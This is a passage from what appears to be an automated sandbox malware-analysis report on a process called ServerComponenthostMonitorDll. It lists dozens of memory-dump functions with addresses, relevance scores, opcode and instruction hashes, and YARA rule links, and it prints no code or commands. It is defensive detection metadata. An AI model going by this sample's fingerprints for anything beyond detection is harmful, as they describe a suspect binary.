Instruction Fuzzy Hash: 8621D871A1591D9FDF98EB58C465AFDB7B5FF68314F0041AED00EE3291CA35A941CB40

Function 00007FFD9BEC3247 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7388f2192cdb52b7b3400c64aa3f98e30b4782cb40004b772c2cef187b11021b
Instruction ID: 21322d52b1a1bb560310ac0ba54a18f8903044537e0434f98d9246d5e9bc251d
Opcode Fuzzy Hash: 7388f2192cdb52b7b3400c64aa3f98e30b4782cb40004b772c2cef187b11021b
Instruction Fuzzy Hash: 41113331708A188FCB58DF5CD855AA9B3E1FB99315F1142AED04ED72A6CA31AC458B40

Function 00007FFD9BEC0B80 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bd809b08fa63cec34526652d0c7f9c0e6e6db55b0a4a4b92d2b65043ef8715c
Instruction ID: 51d0adda5c42b395ba465813c3c73c39dd31fa49f933e4738958fa6938541d49
Opcode Fuzzy Hash: 4bd809b08fa63cec34526652d0c7f9c0e6e6db55b0a4a4b92d2b65043ef8715c
Instruction Fuzzy Hash: F121F910F1D56F96FB38A28844705B8735AEF54311B26467AD49BCB0EACA3DBAC493C0

Function 00007FFD9BEC6BE8 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7038b06caa6e5f3342ddd06bda2c23b87d7c024dabf6f684f9aa85145440a121
Instruction ID: d49418deae088784762f0be9f7f930de4e3a3b6b106952622b7fb7692593eda1
Opcode Fuzzy Hash: 7038b06caa6e5f3342ddd06bda2c23b87d7c024dabf6f684f9aa85145440a121
Instruction Fuzzy Hash: D4117F31A0994D8FDF98EB98D4609FDBBB6FFA8310F10007AD00AE72A1CA2569058B41

Function 00007FFD9BEC2719 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdcd406491438adebe8512f799497a9b42ca5a75d7a4306e95ac73fb8964e432
Instruction ID: 20e0d6ff0bfa0bb2c7d3b772da14cdcdb5090cb70033b589b5cc6c88e671c9da
Opcode Fuzzy Hash: fdcd406491438adebe8512f799497a9b42ca5a75d7a4306e95ac73fb8964e432
Instruction Fuzzy Hash: 7C213E31E1950D9FDB9CEB98C4A5ABDB7A1EF58314F1141BEE00EE72A1CE3569408F40

Function 00007FFD9BECA340 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bedb7298053aead3e9aebc199486c34ae0711146e5abc8859d467ff981c6e3b4
Instruction ID: d467c993e7303178edade6fd748e6ce34be13d065f796014503b7a3fe03a2239
Opcode Fuzzy Hash: bedb7298053aead3e9aebc199486c34ae0711146e5abc8859d467ff981c6e3b4
Instruction Fuzzy Hash: 49113D10B2D46F86F738F24C48744BC7259FF9430271546BAD44B8B0DEC92DBAC19380

Function 00007FFD9BEC5310 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f3e28f04011f1293e1f6ff79df8f98e427222614e56baba11e9d3afeddf337
Instruction ID: 80637f67b4d93d891d633fda3074be0104ac0ccb35fb8834ccc40906cb442ddc
Opcode Fuzzy Hash: 57f3e28f04011f1293e1f6ff79df8f98e427222614e56baba11e9d3afeddf337
Instruction Fuzzy Hash: E811EB20A1E52F46F638E24C84715B873D5EFE0302B254B7AD45B8B4DEC96DBAC19780

Function 00007FFD9BEC93C0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b8bcca0cb3b472f8baa09d1d390226afda68b5619fef3fdfee51595e223e7ba
Instruction ID: d3a7cc53c6afd8c5504aa1613ecc304c4095de293b7d654a70b97e42bc8c4789
Opcode Fuzzy Hash: 8b8bcca0cb3b472f8baa09d1d390226afda68b5619fef3fdfee51595e223e7ba
Instruction Fuzzy Hash: 2B11A73175990D4BC764EA68D4645FA73D1FF64218F40063ED44EC71E2DE25B90A8380

Function 00007FFD9BEC31EC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c186f06716953f62e3240b0a0cd2b258d7e4955d99dc4eab5d5053a688bc0248
Instruction ID: 40fc8b40a5b0f494693c0e7d345c9e60710044bf5fe3830816d343d2871a9ca4
Opcode Fuzzy Hash: c186f06716953f62e3240b0a0cd2b258d7e4955d99dc4eab5d5053a688bc0248
Instruction Fuzzy Hash: DB11A531B09A0C8FDB58DF58D866AB9B3E1FF99315F01427ED04EC76A1CA32AD418B40

Function 00007FFD9BEC4390 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bde5c516e4a4637c49a7e54e5c95a5f87400c58e995f2743d27c18c1e91868
Instruction ID: 6250fa4a6005c1aed6baddc730bc782c5d053496c39d97d925ce01a64cd06763
Opcode Fuzzy Hash: c0bde5c516e4a4637c49a7e54e5c95a5f87400c58e995f2743d27c18c1e91868
Instruction Fuzzy Hash: 2711E33175890C4FCB64EA69D460AFAB3E0FF94359F50063ED44EC35D2CE29BA498380

Function 00007FFD9BEC273F Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adab64bc7e8a54fbcb3ce8c0a65e9ff5dafabe70cdcbe9cd2e3d349945b8312b
Instruction ID: 7d77550c03f812d6d17907dbf7c7e27e099314624b1bd7122e7e1fdb2a0e4aed
Opcode Fuzzy Hash: adab64bc7e8a54fbcb3ce8c0a65e9ff5dafabe70cdcbe9cd2e3d349945b8312b
Instruction Fuzzy Hash: 12110A31E1991D8FDF9CEB98C4A5ABDB7A1FF58314F1101BEE00EE72A1CE2569408B40

Function 00007FFD9BECE7BE Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0af47a7289fca2e9923c16adfe6ca894ff9d26e29aad20645862e88423032f4d
Instruction ID: cb5403c1f6d2baa1cbadd5afce4dea9ef141535b6cfcd0950b44b28c22b2ce3e
Opcode Fuzzy Hash: 0af47a7289fca2e9923c16adfe6ca894ff9d26e29aad20645862e88423032f4d
Instruction Fuzzy Hash: 48116B3234890D4FD724DE98E4653F5B3D0EB94314F20063EE549C31E1C666BA44C7C0

Function 00007FFD9BEC420E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f00c7a31fcdb24107cd2afac0dc8818f2ae8e3962e98c927b3f4ba1753917b
Instruction ID: 442cea98263856f6f71cc63153437ff3ace1cd8379f926acfcd2d266ea05bd33
Opcode Fuzzy Hash: 90f00c7a31fcdb24107cd2afac0dc8818f2ae8e3962e98c927b3f4ba1753917b
Instruction Fuzzy Hash: 9501263235890D4FDB18EE9CE4647E9B3E0EBA4315F14063ED919C32D0C666AA55C780

Function 00007FFD9BECE940 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5502fbf277b537ea48eeb655403e573637dcc310f5b51f0ab9f5a0dabd2d937
Instruction ID: bb7f1dd2948c65041c286c6a71b9e09379c37a43027932be24064c055d4b44d3
Opcode Fuzzy Hash: e5502fbf277b537ea48eeb655403e573637dcc310f5b51f0ab9f5a0dabd2d937
Instruction Fuzzy Hash: 0E11942175990D4BDBA4EA68D4615F973E1EF54319F50067AE04EC31E2C925BA498380

Function 00007FFD9BAC0C38 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a6c9dcf7cd33f46ca841f79eb4fbe68de1a0f36977de45ca2f19a1f8ebc26b6
Instruction ID: 773353c28b8dec4331064f9095a62969b9c9324e9b21aae6cd8091665eac7dbf
Opcode Fuzzy Hash: 0a6c9dcf7cd33f46ca841f79eb4fbe68de1a0f36977de45ca2f19a1f8ebc26b6
Instruction Fuzzy Hash: A311A735A0E68D8FE722EBA888611EC7FB0EF52611F0646F7C054DB1A3D97416458784

Function 00007FFD9BEC3879 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf28b3a88147bde026a72e2420cefa4154eb96e11b117f64e700427ca8e872a1
Instruction ID: a0361c44f440984958e3b1e681035e143f243ddf731b89a4e815b4fafb1c089e
Opcode Fuzzy Hash: cf28b3a88147bde026a72e2420cefa4154eb96e11b117f64e700427ca8e872a1
Instruction Fuzzy Hash: 1201C031A1DA4C4FDB54FBE8E4616ECB7A0FF49314F050139D00AC62D3C92668028740

Function 00007FFD9BEC923E Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dec30eedfa8d330ac20dd9eba1b8d24d74f7bfae93ed4b2f286b3fffb86c4d2
Instruction ID: b3b42b0621f43b34dffcabd816cef1772d8dc8597a7cf47c9ef75fb6c488f4b9
Opcode Fuzzy Hash: 5dec30eedfa8d330ac20dd9eba1b8d24d74f7bfae93ed4b2f286b3fffb86c4d2
Instruction Fuzzy Hash: 11016631389A0E4FDB19DE5CE4683F83390EB96324F14067ED94AC32E1D626AA44C380

Function 00007FFD9BAC0C40 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6da9cef0e7ef463d77bb57d6dc66c7405556142aa959556650fe5f8980f0580
Instruction ID: b1c6bbe610242e1728808926da54a6fbedd0df3119345c92d23857494691f3e5
Opcode Fuzzy Hash: c6da9cef0e7ef463d77bb57d6dc66c7405556142aa959556650fe5f8980f0580
Instruction Fuzzy Hash: 4011A535A0E28D8FE722EBA4C8601EC7FB0EF52711F0645F7D454DB2A3D97426458B44

Function 00007FFD9BEC6B5D Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29b90fbbfb4b242377fb68d340d0ccf2668ea74b8fcbbc463b970b2e5a0bea4
Instruction ID: 33dc0d1634a0dd379c88ab58c7f78488c99d331ca337b54c8b3d75e3b020414b
Opcode Fuzzy Hash: e29b90fbbfb4b242377fb68d340d0ccf2668ea74b8fcbbc463b970b2e5a0bea4
Instruction Fuzzy Hash: DEF0A92144E3C48FC3129B74CC299A6BFE4EF5B21470A82EED0C9CB4B3C61D8886C712

Function 00007FFD9BEC6C62 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67318b0bc3a6988ee1edc0a945f3201e0a09f77f9fa3b8983b4d02019a4b1a5
Instruction ID: 1178c1056798be3fdcebc1385c229d9a0a95afe592ec95e184f07f861e36cf23
Opcode Fuzzy Hash: e67318b0bc3a6988ee1edc0a945f3201e0a09f77f9fa3b8983b4d02019a4b1a5
Instruction Fuzzy Hash: 5111BA70E1981E9FCB98EF98D4609BDB7B1FF68314F110179D00EE72A1CA356941CB50

Function 00007FFD9BAC4308 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5d95213924a95deb1108da40cf64bd497383f5221b322849cb76aa0ef1f28d
Instruction ID: 3043a4140de465fe6c128f5592e951750fdd23731d673bf373f02e28bf012b30
Opcode Fuzzy Hash: 0a5d95213924a95deb1108da40cf64bd497383f5221b322849cb76aa0ef1f28d
Instruction Fuzzy Hash: 2E015E21F1E51E4BEBB4B7A884383B862A1AF48710F6201BAD44DE72F2DD686E414748

Function 00007FFD9BAC0C48 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c13040c26c755e203d2fdd2f722eb50beaa3a42aae7d8799bb282a6174597f78
Instruction ID: ee93d61ae01dbbfe3085d4ae4ec97186c2157db14e9bda67e1195d12cbbe8d77
Opcode Fuzzy Hash: c13040c26c755e203d2fdd2f722eb50beaa3a42aae7d8799bb282a6174597f78
Instruction Fuzzy Hash: 64019235A0E28D9FD722EBA4C8601AC7FB0EF02710F1641E7D454DB2A2D9786A45CB81

Function 00007FFD9BECCAD7 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b161fd5d2a53939d79d13a8c0fc45d2c24475e8918e4f3a0bdf0a487ce1927
Instruction ID: 82993ebd696555af78cfcc9386cbf94659652846f169aa5081f3dd7abd3985ac
Opcode Fuzzy Hash: 24b161fd5d2a53939d79d13a8c0fc45d2c24475e8918e4f3a0bdf0a487ce1927
Instruction Fuzzy Hash: 5201C97094955E8FCFA8DF18C4A4BB8B7B5EB68301F1140EDD00EE3691DA31AA90DF50

Function 00007FFD9BEC2A12 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3260669929f0c69527aa6750127480618e667bfd4f4da35c2cb6d66f66c2fdaf
Instruction ID: 610ad5b0b2a95ceb4356e03baec38c0dc2dd9a94605c4b97e5a8c10be4fbec5f
Opcode Fuzzy Hash: 3260669929f0c69527aa6750127480618e667bfd4f4da35c2cb6d66f66c2fdaf
Instruction Fuzzy Hash: 53F0623255F2CA9FD7229BF0C8615F53FB8EF42214B1501F6D059CA0A2C92D5747C761

Function 00007FFD9BAC0C50 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2efe26084136253587a455793bef44db0a782ee7d2ae28189080c6a9707f45e6
Instruction ID: d037290d01d0d7dc3f01685ba923a1524316a7e02c0bdfedb8c05a7d06ded73e
Opcode Fuzzy Hash: 2efe26084136253587a455793bef44db0a782ee7d2ae28189080c6a9707f45e6
Instruction Fuzzy Hash: 12017C35A0E2899FEB22EBA488601AC7FB0EF02B04F1541E7D454DB2A3D9786A44C741

Function 00007FFD9BEC7A42 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e74e8f0425b018ff51d71068c883f5309d767bbe011b49bc2e8b8c547043157d
Instruction ID: 1f37c46e4620842db367582ab558c036647e72ceffbfe3a822502fa724f62312
Opcode Fuzzy Hash: e74e8f0425b018ff51d71068c883f5309d767bbe011b49bc2e8b8c547043157d
Instruction Fuzzy Hash: 22F0623154F3899FD7129FB088615E93FB8FF46204B1500E6D459CA0A2D96D5706C761

Function 00007FFD9BAC4354 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3719c38903d437b921fb15a39a22bcc8a756f0896018566767e12e14f64d7ed
Instruction ID: 98e0f5cc76bac9b79db18d3553365f72e10f78f2f6ea0845ba2d194af862a65e
Opcode Fuzzy Hash: d3719c38903d437b921fb15a39a22bcc8a756f0896018566767e12e14f64d7ed
Instruction Fuzzy Hash: 9BF0B221B1A50E4BEEB8FB7C807967812C29F94744F564079D44EC72B2DDA8AD424608

Function 00007FFD9BECCFA2 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b5670c852925ca7116d690323156cc928f567debebe2c0d7d28e5569dc0f06
Instruction ID: c050c122188b296a4ccd51c82bfb8c1126ce1de892ef2c2a5be6c8142002d867
Opcode Fuzzy Hash: 03b5670c852925ca7116d690323156cc928f567debebe2c0d7d28e5569dc0f06
Instruction Fuzzy Hash: 28F0F63244F2CA9FD322DBB088254E97FE4EF03204B1900FAD445C71B2C62E171AD7A1

Function 00007FFD9BEC26D3 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
Instruction ID: 9d47f292ede65ca0efe00dca3643e716988737789e356332a97f99dda2a696fb
Opcode Fuzzy Hash: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
Instruction Fuzzy Hash: DD010070A1992C8FDFA8EB48C8A4BA8B7B1FB68301F1041D9800EE3250CB719A84CF05

Function 00007FFD9BAC684B Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138457a3c6bd61079ead0882e94c7e1c5824ed01c817869d58e65bbfd7a0277
Instruction ID: 80dc0ebca54a7a9fd53f7b1d928457b05761a06f2de36124061126da3db87fbb
Opcode Fuzzy Hash: 7138457a3c6bd61079ead0882e94c7e1c5824ed01c817869d58e65bbfd7a0277
Instruction Fuzzy Hash: 8DF04F34A089188FCB44EF0CC894DADB7F1FBA8305F014669C40AD32A0CB34E940CB80

Function 00007FFD9BEC91B1 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e11bc89901eea88440275267480bc63573783128d308149792cbe17a8ca5166
Instruction ID: e9033c2f4821837bcf8526c156010f538afb1a9ee591c414fb3dd8b0169a3177
Opcode Fuzzy Hash: 0e11bc89901eea88440275267480bc63573783128d308149792cbe17a8ca5166
Instruction Fuzzy Hash: 50F0E93850E68D4FF376EAA44D5D3F87955FF01300F150679D49D9B1E2CA1967458341

Function 00007FFD9BEC4181 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c4e0a935f6624af4ff4ca79deace6c12a27b5bf6f0067696c0d0f392a6f97a
Instruction ID: 0a30777aad3cc4f2efb8bc8b6001678e9fc435459100b259b90f3a49359a214f
Opcode Fuzzy Hash: f8c4e0a935f6624af4ff4ca79deace6c12a27b5bf6f0067696c0d0f392a6f97a
Instruction Fuzzy Hash: 46F02E3050E68D4FF376EA944C253F879A0FF10304F15057DD4AD9F1F2CA5926458381

Function 00007FFD9BAC4402 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a99e3405fcbb08085c4e69bb003518673b9341afd897be30fe8414449901a780
Instruction ID: d8879fc13fd938178cc5b70f94f1700d7b391b8a6d8de7a5feb6d6bda9131e87
Opcode Fuzzy Hash: a99e3405fcbb08085c4e69bb003518673b9341afd897be30fe8414449901a780
Instruction Fuzzy Hash: 41F01230E1A41E4BEBB4FB98C8243B862A1FF84310F5101B9D04DD31B2CE786E828A04

Function 00007FFD9BAC461F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d282422eef23423fc6ba86616a2c1e06f20e5f3f98448255c36d765a0b812ff9
Instruction ID: 9e90f8db2092ba5af983d6c2165c4c7ca4f7b2d55e9b0d7bd3a1684c958db831
Opcode Fuzzy Hash: d282422eef23423fc6ba86616a2c1e06f20e5f3f98448255c36d765a0b812ff9
Instruction Fuzzy Hash: 65F03920B0914A4BFBA5A394C4603BD37A0EB69300F1500B9DA4E973E6DD38AE058716

Function 00007FFD9BAC4331 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da131de55fe06d4e26c11bb887a7831e823910b4d7ca2845b6b042cfbedd6f37
Instruction ID: d9f803c352c1b2d950d5ce2fc69ffe52f595c5aa0b463cc44cde052e0543de14
Opcode Fuzzy Hash: da131de55fe06d4e26c11bb887a7831e823910b4d7ca2845b6b042cfbedd6f37
Instruction Fuzzy Hash: DBE0E67174D40D4BEB68BB58D4645F83395EB94310F26417DD44DD31B2ED68AB424548

Function 00007FFD9BAC06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

